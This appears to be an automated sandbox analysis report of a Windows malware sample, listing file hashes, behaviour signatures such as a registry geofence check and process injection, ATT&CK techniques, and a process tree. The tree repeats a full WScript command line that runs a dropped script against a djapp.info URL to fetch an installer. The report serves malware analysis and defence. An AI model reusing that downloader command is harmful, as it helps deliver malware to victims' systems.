af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836

General

Target

af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe
Size

184KB
MD5

2d6c0ba7e4300aeb44dbe02ffb9edb41
SHA1

a5965e259de6c1e6965f9e4857d5b3569c0544d8
SHA256

af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836
SHA512

c32a3bdddd2b93023f881a7a344f6420108389faa50fc9d522f7331113bcf383a1fa6e31bc529239586c84e5f63bd1647ce94c44a087b6ee6b6015cec4151667
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3/:/7BSH8zUB+nGESaaRvoB7FJNndne

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 16 IoCs

flow	pid	Process
11	1356	WScript.exe
15	1356	WScript.exe
16	2444	WScript.exe
17	2444	WScript.exe
26	2444	WScript.exe
33	2444	WScript.exe
47	2444	WScript.exe
50	1940	WScript.exe
51	1940	WScript.exe
54	1420	WScript.exe
55	1420	WScript.exe
63	1420	WScript.exe
66	1420	WScript.exe
68	1420	WScript.exe
70	1272	WScript.exe
71	1272	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	50	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	54	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	70	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 1356	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	79
PID 1260 wrote to memory of 1356	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	79
PID 1260 wrote to memory of 1356	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	79
PID 1260 wrote to memory of 2444	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	80
PID 1260 wrote to memory of 2444	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	80
PID 1260 wrote to memory of 2444	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	80
PID 1260 wrote to memory of 1940	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	83
PID 1260 wrote to memory of 1940	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	83
PID 1260 wrote to memory of 1940	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	83
PID 1260 wrote to memory of 1420	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	84
PID 1260 wrote to memory of 1420	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	84
PID 1260 wrote to memory of 1420	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	84
PID 1260 wrote to memory of 1272	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	91
PID 1260 wrote to memory of 1272	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	91
PID 1260 wrote to memory of 1272	1260	af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe	91

C:\Users\Admin\AppData\Local\Temp\af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe
"C:\Users\Admin\AppData\Local\Temp\af51d43ce8689be750e3990ee02f6a5c6481ba6208bfceb72419eb85e5a1b836.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1906.js" http://www.djapp.info/?domain=PCQxxFyuDt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1906.exe
  2⤵
  - Blocklisted process makes network request
  PID:1356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1906.js" http://www.djapp.info/?domain=PCQxxFyuDt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1906.exe
  2⤵
  - Blocklisted process makes network request
  PID:2444
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1906.js" http://www.djapp.info/?domain=PCQxxFyuDt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1906.exe
  2⤵
  - Blocklisted process makes network request
  PID:1940
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1906.js" http://www.djapp.info/?domain=PCQxxFyuDt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1906.exe
  2⤵
  - Blocklisted process makes network request
  PID:1420
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1906.js" http://www.djapp.info/?domain=PCQxxFyuDt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1906.exe
  2⤵
  - Blocklisted process makes network request
  PID:1272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf1906.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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